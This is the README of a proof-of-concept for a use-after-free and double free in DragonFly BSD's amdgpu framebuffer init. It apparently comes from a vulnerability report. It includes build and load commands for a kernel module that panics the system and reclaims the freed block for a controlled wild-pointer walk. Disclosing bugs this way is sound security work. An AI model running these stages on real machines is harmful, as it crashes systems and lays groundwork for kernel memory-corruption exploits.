# DF-4925 — amdgpu_fbdev_init dangling `adev->mode_info.rfbdev` (DF-4914 twin)

`amdgpu_fbdev_init()` (sys/dev/drm/amd/amdgpu/amdgpu_fb.c:342-385) stores the
freshly kzalloc'd `rfbdev` into `adev->mode_info.rfbdev` at :365 **before**
the fallible `drm_fb_helper_init()` at :370; on its failure (:372-374) it
runs `kfree(rfbdev); return ret;` **without clearing
`adev->mode_info.rfbdev`**. The caller ignores the failure
(amdgpu_device.c:2662), so every later consumer — `amdgpu_fbdev_fini()`
(amdgpu_device.c:2744, driver unload / unplug / reboot), and
`amdgpu_fbdev_robj_is_fb()` (amdgpu_device.c:2847, suspend/eviction) —
dereferences freed memory, and `amdgpu_fbdev_fini()` kfrees it a second
time (amdgpu_fb.c:393).

## Build (on the DragonFly guest, in this directory)

    ./build.sh          # -> amdfbuaf.ko  (production drm.ko + amdgpu.ko used as-is)

## Run (as root)

    ./run.sh            # stage 1 only: dangling-pointer print, no crash

Stage 2 (double free; panics — run on a fresh boot):

    kldload drm && kldload amdgpu && kldload ./amdfbuaf.ko
    sysctl hw.amdfbuaf=2
    # panic: memory chunk ... is already free! @ amdgpu_fbdev_fini

Stage 3 (slab reclaim + controlled UAF walk; panics — fresh boot):

    kldload drm && kldload amdgpu && kldload ./amdfbuaf.ko
    sysctl hw.amdfbuaf=3
    # reclaim of the freed struct amdgpu_fbdev block, 0x41-filled;
    # teardown chases rfb.base.obj[0]=0x4141414141414141 into
    # amdgpufb_destroy_pinned_object -> wild pointer deref

## Expected output

* stage 1: `adev->mode_info.rfbdev = 0x... — kfree()d block still recorded (dangling)`
* stage 2: `panic: memory chunk 0x... is already free!` with
  `amdgpu_fbdev_fini` in the backtrace
* stage 3: `RECLAIMED` + `Fatal trap ... general protection fault` inside
  `amdgpufb_destroy_pinned_object` / `amdgpu_bo_reserve` walking
  `0x4141414141414141`

## Notes

* No AMD GPU is required: `amdgpu_fbdev_init`/`_fini` are plain module
  functions; the PoC injects the exact post-failure state (:360-:374) and
  drives the REAL production teardown from the stock `/boot/kernel/amdgpu.ko`.
* On real hardware the failure entry is `drm_fb_helper_init()`/-ENOMEM at
  driver load (three fallible kcallocs: drm_fb_helper.c:871/876/884) — the
  detonation is deferred to unload/reboot/suspend, a long-lived window in
  which the freed block can be reclaimed by unrelated same-size kernel
  allocations.
